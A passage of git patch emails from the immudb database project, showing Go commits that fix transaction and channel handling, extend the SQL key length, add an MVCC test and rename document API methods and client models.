0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, + 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, + 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, + 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, + 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, + 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, + 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, + 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x33, } var ( From 75269228f5d85a9405fea2da39e2e9fc5a196748 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 8 May 2023 19:52:08 -0300 Subject: [PATCH 0530/1062] fix(pkg/database): read from err channel Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 2 ++ pkg/database/sql.go | 7 +++++++ 2 files changed, 9 insertions(+) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index eb64297bae..346eb335fc 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1165,6 +1165,8 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader defer s.releaseAllocTx(tx) appendableCh := make(chan appendableResult) + defer close(appendableCh) + go s.appendData(otx.entries, appendableCh) if hdr == nil { diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 0dc50fde90..fed78cdeeb 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -304,7 +304,10 @@ func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, }() txChan := make(chan *sql.SQLTx) + defer close(txChan) + errChan := make(chan error) + defer close(errChan) go func() { tx, err = d.sqlEngine.NewTx(txCtx, opts) @@ -324,6 +327,10 @@ func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, { return tx, nil } + case err := <-errChan: + { + return nil, err + } } } From 885c5650fd137812e3d95a47b542cf38bae9c181 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 8 May 2023 20:09:28 -0300 Subject: [PATCH 0531/1062] fix(embedded/store): ensure snapshot is closed for read-only txs Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index ab6ff8a156..2403c7fcb2 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -445,10 +445,6 @@ func (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeade return nil, ErrAlreadyClosed } - if tx.readOnly { - return nil, ErrReadOnlyTx - } - if !tx.IsWriteOnly() { err := tx.snap.Close() if err != nil { @@ -458,6 +454,10 @@ func (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeade tx.closed = true + if tx.readOnly { + return nil, ErrReadOnlyTx + } + if ctx.Err() != nil { return nil, ctx.Err() } From e0add25f11aced208a518d5e83c10eee47e2d4fb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 9 May 2023 10:00:05 -0300 Subject: [PATCH 0532/1062] fix(embedded/sql): parsing of exists stmt Signed-off-by: Jeronimo Irazabal --- embedded/sql/sql_grammar.y | 2 +- embedded/sql/sql_parser.go | 2 +- embedded/sql/stmt.go | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 55a3fb3ad6..9bf0c2af43 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -830,7 +830,7 @@ exp: | EXISTS '(' dqlstmt ')' { - $$ = &ExistsBoolExp{q: ($3).(*SelectStmt)} + $$ = &ExistsBoolExp{q: ($3).(DataSource)} } | boundexp opt_not IN '(' dqlstmt ')' diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 568a696847..c464a66fc6 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -1461,7 +1461,7 @@ yydefault: case 132: yyDollar = yyS[yypt-4 : yypt+1] { - yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(*SelectStmt)} + yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } case 133: yyDollar = yyS[yypt-6 : yypt+1] diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index b7bd227a81..b18a533c98 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -3602,7 +3602,7 @@ func (bexp *BinBoolExp) selectorRanges(table *Table, asTable string, params map[ } type ExistsBoolExp struct { - q *SelectStmt + q DataSource } func (bexp *ExistsBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { From 75797364712cc4cfc3f3a6b65550f104ad66184d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 9 May 2023 10:00:27 -0300 Subject: [PATCH 0533/1062] fix(pkg/server): ensure tx is closed upon error Signed-off-by: Jeronimo Irazabal --- pkg/server/sql.go | 1 + 1 file changed, 1 insertion(+) diff --git a/pkg/server/sql.go b/pkg/server/sql.go index 6cbcd059d2..37378f4503 100644 --- a/pkg/server/sql.go +++ b/pkg/server/sql.go @@ -70,6 +70,7 @@ func (s *ImmuServer) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (* if err != nil { return nil, err } + defer tx.Cancel() ntx, ctxs, err := db.SQLExec(ctx, tx, req) if err != nil { From 5e6ec612ac2a87d0ecf4ac3bacc0e8625f11bed8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 9 May 2023 11:56:53 -0300 Subject: [PATCH 0534/1062] test(embedded/sql): ensure MVCC is able to handle concurrent table creation Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 168106361b..89f42304a8 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1669,8 +1669,8 @@ func TestErrorDuringUpdate(t *testing.T) { require.ErrorIs(t, err, ErrMissingParameter) params := make(map[string]interface{}) - params["id"] = "ab"; - params["val"] = 15; + params["id"] = "ab" + params["val"] = 15 _, _, err = engine.Exec(context.Background(), nil, "update mytable set value=@val where id=@id", params) require.NoError(t, err) } @@ -6201,6 +6201,26 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) require.ErrorIs(t, err, store.ErrTxReadConflict) }) + + t.Run("read conflict should be detected when processing transactions with invalidated catalog changes", func(t *testing.T) { + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), tx1, "CREATE TABLE mytable1 (id INTEGER, PRIMARY KEY id);", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), tx2, "CREATE TABLE mytable1 (id INTEGER, PRIMARY KEY id);", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) + require.ErrorIs(t, err, store.ErrTxReadConflict) + }) } func TestConcurrentInsertions(t *testing.T) { From 8383f04db558e1406ddec3687793065cca92476e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 10 May 2023 09:51:42 -0300 Subject: [PATCH 0535/1062] chore(embedded/document): minor code simplification Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 ++-- embedded/document/type_conversions.go | 16 ++++++++-------- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 572a0b4e30..22200bce7e 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -565,7 +565,7 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru } if rval, ok := doc.Fields[col.Name()]; ok { - val, err := structValueToSqlValue(col.Type(), rval) + val, err := structValueToSqlValue(rval, col.Type()) if err != nil { return nil, err } @@ -821,7 +821,7 @@ func generateSQLFilteringExpression(expressions []*protomodel.QueryExpression, t return nil, err } - value, err := structValueToSqlValue(column.Type(), exp.Value) + value, err := structValueToSqlValue(exp.Value, column.Type()) if err != nil { return nil, err } diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go index 768d8af212..3c84d918da 100644 --- a/embedded/document/type_conversions.go +++ b/embedded/document/type_conversions.go @@ -24,24 +24,24 @@ import ( "google.golang.org/protobuf/types/known/structpb" ) -var structValueToSqlValue = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { - switch stype { +var structValueToSqlValue = func(value *structpb.Value, sqlType sql.SQLValueType) (sql.ValueExp, error) { + switch sqlType { case sql.VarcharType: _, ok := value.GetKind().(*structpb.Value_StringValue) if !ok { - return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } return sql.NewVarchar(value.GetStringValue()), nil case sql.IntegerType: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { - return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } return sql.NewInteger(int64(value.GetNumberValue())), nil case sql.BLOBType: _, ok := value.GetKind().(*structpb.Value_StringValue) if !ok { - return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } docID, err := NewDocumentIDFromHexEncodedString(value.GetStringValue()) @@ -53,18 +53,18 @@ var structValueToSqlValue = func(stype sql.SQLValueType, value *structpb.Value) case sql.Float64Type: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { - return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } return sql.NewFloat64(value.GetNumberValue()), nil case sql.BooleanType: _, ok := value.GetKind().(*structpb.Value_BoolValue) if !ok { - return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, stype) + return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } return sql.NewBool(value.GetBoolValue()), nil } - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, sqlType) } var protomodelValueTypeToSQLValueType = func(stype protomodel.FieldType) (sql.SQLValueType, error) { From 258374ac18d45fcc16840d535a679a30e0e0ace9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 10 May 2023 10:42:56 -0300 Subject: [PATCH 0536/1062] chore(embedded/sql): extend max key length to 512 Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 4 ++-- embedded/sql/stmt.go | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 884dc9e2c8..46a5182e8e 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -39,7 +39,7 @@ var ErrColumnAlreadyExists = errors.New("column already exists") var ErrSameOldAndNewColumnName = errors.New("same old and new column names") var ErrColumnNotIndexed = errors.New("column is not indexed") var ErrFunctionDoesNotExist = errors.New("function does not exist") -var ErrLimitedKeyType = errors.New("indexed key of invalid type. Supported types are: INTEGER, VARCHAR[256] OR BLOB[256]") +var ErrLimitedKeyType = errors.New("indexed key of unsupported type or exceeded length") var ErrLimitedAutoIncrement = errors.New("only INTEGER single-column primary keys can be set as auto incremental") var ErrLimitedMaxLen = errors.New("only VARCHAR and BLOB types support max length") var ErrDuplicatedColumn = errors.New("duplicated column") @@ -86,7 +86,7 @@ var ErrAmbiguousSelector = errors.New("ambiguous selector") var ErrUnsupportedCast = fmt.Errorf("%w: unsupported cast", ErrInvalidValue) var ErrColumnMismatchInUnionStmt = errors.New("column mismatch in union statement") -var MaxKeyLen = 256 +var MaxKeyLen = 512 const EncIDLen = 4 const EncLenLen = 4 diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index b18a533c98..8dd308dff9 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -388,7 +388,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s } if variableSized(col.colType) && (col.MaxLen() == 0 || col.MaxLen() > MaxKeyLen) { - return nil, ErrLimitedKeyType + return nil, fmt.Errorf("%w: can not create index using column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } colIDs[i] = col.id @@ -822,7 +822,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m encVal, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { - return err + return fmt.Errorf("%w: index on '%s' and column '%s'", err, index.Name(), col.colName) } encodedValues[i+3] = encVal @@ -867,7 +867,7 @@ func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error encVal, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { - return nil, err + return nil, fmt.Errorf("%w: primary index of table '%s' and column '%s'", err, table.name, col.colName) } _, err = valbuf.Write(encVal) From eca3ba2f31f0b36ea6fd25d26e8e5320148aa489 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 10 May 2023 11:18:22 -0300 Subject: [PATCH 0537/1062] chore(embedded/sql): validate total key length at index creation time Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 2 +- embedded/sql/stmt.go | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 89f42304a8..80e3ecf735 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -101,7 +101,7 @@ func TestCreateTable(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY name)", nil) require.ErrorIs(t, err, ErrLimitedKeyType) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR[512], PRIMARY KEY name)", nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("CREATE TABLE table1 (name VARCHAR[%d], PRIMARY KEY name)", MaxKeyLen+1), nil) require.ErrorIs(t, err, ErrLimitedKeyType) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR[32], PRIMARY KEY name)", nil) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 8dd308dff9..60c90c5b59 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -381,6 +381,8 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s colIDs := make([]uint32, len(stmt.cols)) + indexKeyLen := 0 + for i, colName := range stmt.cols { col, err := table.GetColumnByName(colName) if err != nil { @@ -391,9 +393,15 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, fmt.Errorf("%w: can not create index using column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } + indexKeyLen += col.MaxLen() + colIDs[i] = col.id } + if indexKeyLen > MaxKeyLen { + return nil, fmt.Errorf("%w: can not create index using columns '%v'. Max key length is %d", ErrLimitedKeyType, stmt.cols, MaxKeyLen) + } + index, err := table.newIndex(stmt.unique, colIDs) if err == ErrIndexAlreadyExists && stmt.ifNotExists { return tx, nil From 3f9bae4820f8b7301fe1f3e3d730c9e1d8e7f513 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 11 May 2023 00:46:26 -0300 Subject: [PATCH 0538/1062] chore(pkg/api): document api improvements Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 40 +- embedded/document/engine_test.go | 10 +- pkg/api/httpclient/client.go | 1300 ++++++++---------- pkg/api/openapi/apidocs.swagger.json | 590 ++++----- pkg/api/proto/documents.proto | 134 +- pkg/api/protomodel/docs.md | 402 +++--- pkg/api/protomodel/documents.pb.go | 1618 ++++++++++------------- pkg/api/protomodel/documents.pb.gw.go | 537 ++++---- pkg/api/protomodel/documents_grpc.pb.go | 400 +++--- pkg/auth/permissions.go | 53 +- pkg/database/document_database.go | 132 +- pkg/database/document_database_test.go | 22 +- pkg/database/truncator_test.go | 30 +- pkg/server/db_dummy_closed.go | 30 +- pkg/server/documents_operations.go | 80 +- pkg/server/documents_operations_test.go | 94 +- pkg/verification/verification.go | 2 +- 17 files changed, 2414 insertions(+), 3060 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 22200bce7e..e142ab8c4d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -163,7 +163,7 @@ func (e *Engine) CreateCollection(ctx context.Context, name, idFieldName string, return mayTranslateError(err) } -func (e *Engine) ListCollections(ctx context.Context) ([]*protomodel.Collection, error) { +func (e *Engine) GetCollection(ctx context.Context, collectionName string) (*protomodel.Collection, error) { opts := sql.DefaultTxOptions(). WithReadOnly(true). WithExplicitClose(true) @@ -174,18 +174,15 @@ func (e *Engine) ListCollections(ctx context.Context) ([]*protomodel.Collection, } defer sqlTx.Cancel() - tables := sqlTx.Catalog().GetTables() - - collections := make([]*protomodel.Collection, len(tables)) - - for i, table := range tables { - collections[i] = collectionFromTable(table) + table, err := getTableForCollection(sqlTx, collectionName) + if err != nil { + return nil, err } - return collections, nil + return collectionFromTable(table), nil } -func (e *Engine) GetCollection(ctx context.Context, collectionName string) (*protomodel.Collection, error) { +func (e *Engine) GetCollections(ctx context.Context) ([]*protomodel.Collection, error) { opts := sql.DefaultTxOptions(). WithReadOnly(true). WithExplicitClose(true) @@ -196,12 +193,15 @@ func (e *Engine) GetCollection(ctx context.Context, collectionName string) (*pro } defer sqlTx.Cancel() - table, err := getTableForCollection(sqlTx, collectionName) - if err != nil { - return nil, err + tables := sqlTx.Catalog().GetTables() + + collections := make([]*protomodel.Collection, len(tables)) + + for i, table := range tables { + collections[i] = collectionFromTable(table) } - return collectionFromTable(table), nil + return collections, nil } func docIDFieldName(table *sql.Table) string { @@ -438,7 +438,7 @@ func (e *Engine) DeleteIndex(ctx context.Context, collectionName string, fields } func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (txID uint64, docID DocumentID, err error) { - txID, docIDs, err := e.BulkInsertDocuments(ctx, collectionName, []*structpb.Struct{doc}) + txID, docIDs, err := e.InsertDocuments(ctx, collectionName, []*structpb.Struct{doc}) if err != nil { return 0, nil, err } @@ -446,7 +446,7 @@ func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc return txID, docIDs[0], nil } -func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, docs []*structpb.Struct) (txID uint64, docIDs []DocumentID, err error) { +func (e *Engine) InsertDocuments(ctx context.Context, collectionName string, docs []*structpb.Struct) (txID uint64, docIDs []DocumentID, err error) { opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). @@ -759,8 +759,8 @@ func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, return table.ID(), docIDFieldName(table), docAtRevision, nil } -// DocumentAudit returns the audit history of a document. -func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docID DocumentID, desc bool, offset uint64, limit int) ([]*protomodel.DocumentAtRevision, error) { +// AuditDocument returns the audit history of a document. +func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID DocumentID, desc bool, offset uint64, limit int) ([]*protomodel.DocumentAtRevision, error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, mayTranslateError(err) @@ -1043,8 +1043,8 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } -// DeleteDocument deletes a single document matching the query -func (e *Engine) DeleteDocument(ctx context.Context, query *protomodel.Query) error { +// DeleteDocuments deletes documents matching the query +func (e *Engine) DeleteDocuments(ctx context.Context, query *protomodel.Query, limit int) error { if query == nil { return ErrIllegalArguments } @@ -1070,7 +1070,7 @@ func (e *Engine) DeleteDocument(ctx context.Context, query *protomodel.Query) er table.Name(), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), - sql.NewInteger(1), + sql.NewInteger(int64(limit)), ) _, _, err = e.sqlEngine.ExecPreparedStmts( diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 133b5e61b7..abf7fa0d67 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -112,7 +112,7 @@ func TestListCollections(t *testing.T) { require.NoError(t, err) } - collectionList, err := engine.ListCollections(context.Background()) + collectionList, err := engine.GetCollections(context.Background()) require.NoError(t, err) require.Equal(t, len(collections), len(collectionList)) } @@ -234,7 +234,7 @@ func TestDocumentAudit(t *testing.T) { require.Equal(t, uint64(2), revision) // get document audit - res, err := engine.DocumentAudit(context.Background(), collectionName, docID, false, 0, 10) + res, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) require.NoError(t, err) require.Len(t, res, 2) @@ -728,7 +728,7 @@ func TestDeleteCollection(t *testing.T) { err = engine.DeleteCollection(context.Background(), collectionName) require.NoError(t, err) - collectionList, err := engine.ListCollections(context.Background()) + collectionList, err := engine.GetCollections(context.Background()) require.NoError(t, err) require.Empty(t, collectionList) }) @@ -880,7 +880,7 @@ func TestBulkInsert(t *testing.T) { docs = append(docs, doc) } - txID, docIDs, err := engine.BulkInsertDocuments(ctx, collectionName, docs) + txID, docIDs, err := engine.InsertDocuments(ctx, collectionName, docs) require.NoError(t, err) require.Equal(t, uint64(2), txID) require.Len(t, docIDs, 10) @@ -1015,7 +1015,7 @@ func TestDeleteDocument(t *testing.T) { require.NoError(t, err) require.Len(t, docs, 1) - err = engine.DeleteDocument(ctx, query) + err = engine.DeleteDocuments(ctx, query, 1) require.NoError(t, err) reader, err = engine.GetDocuments(ctx, query, 0) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 9a03a6e7e5..69aed0c9fb 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -55,6 +55,20 @@ type ImmudbmodelOpenSessionResponse struct { SessionID *string `json:"sessionID,omitempty"` } +// ModelAuditDocumentRequest defines model for modelAuditDocumentRequest. +type ModelAuditDocumentRequest struct { + Collection *string `json:"collection,omitempty"` + Desc *bool `json:"desc,omitempty"` + DocumentId *string `json:"documentId,omitempty"` + Page *int64 `json:"page,omitempty"` + PageSize *int64 `json:"pageSize,omitempty"` +} + +// ModelAuditDocumentResponse defines model for modelAuditDocumentResponse. +type ModelAuditDocumentResponse struct { + Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` +} + // ModelCloseSessionRequest defines model for modelCloseSessionRequest. type ModelCloseSessionRequest = map[string]interface{} @@ -69,44 +83,50 @@ type ModelCollection struct { Name *string `json:"name,omitempty"` } -// ModelCollectionCreateRequest defines model for modelCollectionCreateRequest. -type ModelCollectionCreateRequest struct { +// ModelComparisonOperator defines model for modelComparisonOperator. +type ModelComparisonOperator string + +// ModelCreateCollectionRequest defines model for modelCreateCollectionRequest. +type ModelCreateCollectionRequest struct { Fields *[]ModelField `json:"fields,omitempty"` IdFieldName *string `json:"idFieldName,omitempty"` Indexes *[]ModelIndex `json:"indexes,omitempty"` Name *string `json:"name,omitempty"` } -// ModelCollectionCreateResponse defines model for modelCollectionCreateResponse. -type ModelCollectionCreateResponse = map[string]interface{} - -// ModelCollectionDeleteResponse defines model for modelCollectionDeleteResponse. -type ModelCollectionDeleteResponse = map[string]interface{} +// ModelCreateCollectionResponse defines model for modelCreateCollectionResponse. +type ModelCreateCollectionResponse = map[string]interface{} -// ModelCollectionGetResponse defines model for modelCollectionGetResponse. -type ModelCollectionGetResponse struct { - Collection *ModelCollection `json:"collection,omitempty"` +// ModelCreateIndexRequest defines model for modelCreateIndexRequest. +type ModelCreateIndexRequest struct { + Collection *string `json:"collection,omitempty"` + Fields *[]string `json:"fields,omitempty"` + IsUnique *bool `json:"isUnique,omitempty"` } -// ModelCollectionListRequest defines model for modelCollectionListRequest. -type ModelCollectionListRequest = map[string]interface{} +// ModelCreateIndexResponse defines model for modelCreateIndexResponse. +type ModelCreateIndexResponse = map[string]interface{} -// ModelCollectionListResponse defines model for modelCollectionListResponse. -type ModelCollectionListResponse struct { - Collections *[]ModelCollection `json:"collections,omitempty"` -} +// ModelDeleteCollectionResponse defines model for modelDeleteCollectionResponse. +type ModelDeleteCollectionResponse = map[string]interface{} -// ModelCollectionUpdateRequest defines model for modelCollectionUpdateRequest. -type ModelCollectionUpdateRequest struct { - IdFieldName *string `json:"idFieldName,omitempty"` - Name *string `json:"name,omitempty"` +// ModelDeleteDocumentsRequest defines model for modelDeleteDocumentsRequest. +type ModelDeleteDocumentsRequest struct { + Limit *int64 `json:"limit,omitempty"` + Query *ModelQuery `json:"query,omitempty"` } -// ModelCollectionUpdateResponse defines model for modelCollectionUpdateResponse. -type ModelCollectionUpdateResponse = map[string]interface{} +// ModelDeleteDocumentsResponse defines model for modelDeleteDocumentsResponse. +type ModelDeleteDocumentsResponse = map[string]interface{} -// ModelComparisonOperator defines model for modelComparisonOperator. -type ModelComparisonOperator string +// ModelDeleteIndexRequest defines model for modelDeleteIndexRequest. +type ModelDeleteIndexRequest struct { + Collection *string `json:"collection,omitempty"` + Fields *[]string `json:"fields,omitempty"` +} + +// ModelDeleteIndexResponse defines model for modelDeleteIndexResponse. +type ModelDeleteIndexResponse = map[string]interface{} // ModelDocumentAtRevision defines model for modelDocumentAtRevision. type ModelDocumentAtRevision struct { @@ -116,101 +136,11 @@ type ModelDocumentAtRevision struct { TransactionId *string `json:"transactionId,omitempty"` } -// ModelDocumentAuditRequest defines model for modelDocumentAuditRequest. -type ModelDocumentAuditRequest struct { - Collection *string `json:"collection,omitempty"` - Desc *bool `json:"desc,omitempty"` - DocumentId *string `json:"documentId,omitempty"` - Page *int64 `json:"page,omitempty"` - PageSize *int64 `json:"pageSize,omitempty"` -} - -// ModelDocumentAuditResponse defines model for modelDocumentAuditResponse. -type ModelDocumentAuditResponse struct { - Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` -} - -// ModelDocumentDeleteRequest defines model for modelDocumentDeleteRequest. -type ModelDocumentDeleteRequest struct { - Query *ModelQuery `json:"query,omitempty"` -} - -// ModelDocumentDeleteResponse defines model for modelDocumentDeleteResponse. -type ModelDocumentDeleteResponse = map[string]interface{} - -// ModelDocumentInsertManyRequest defines model for modelDocumentInsertManyRequest. -type ModelDocumentInsertManyRequest struct { - Collection *string `json:"collection,omitempty"` - Documents *[]map[string]interface{} `json:"documents,omitempty"` -} - -// ModelDocumentInsertManyResponse defines model for modelDocumentInsertManyResponse. -type ModelDocumentInsertManyResponse struct { - DocumentIds *[]string `json:"documentIds,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` -} - -// ModelDocumentInsertRequest defines model for modelDocumentInsertRequest. -type ModelDocumentInsertRequest struct { - Collection *string `json:"collection,omitempty"` - Document *map[string]interface{} `json:"document,omitempty"` -} - -// ModelDocumentInsertResponse defines model for modelDocumentInsertResponse. -type ModelDocumentInsertResponse struct { - DocumentId *string `json:"documentId,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` -} - // ModelDocumentMetadata defines model for modelDocumentMetadata. type ModelDocumentMetadata struct { Deleted *bool `json:"deleted,omitempty"` } -// ModelDocumentProofRequest defines model for modelDocumentProofRequest. -type ModelDocumentProofRequest struct { - Collection *string `json:"collection,omitempty"` - DocumentId *string `json:"documentId,omitempty"` - ProofSinceTransactionId *string `json:"proofSinceTransactionId,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` -} - -// ModelDocumentProofResponse defines model for modelDocumentProofResponse. -type ModelDocumentProofResponse struct { - CollectionId *int64 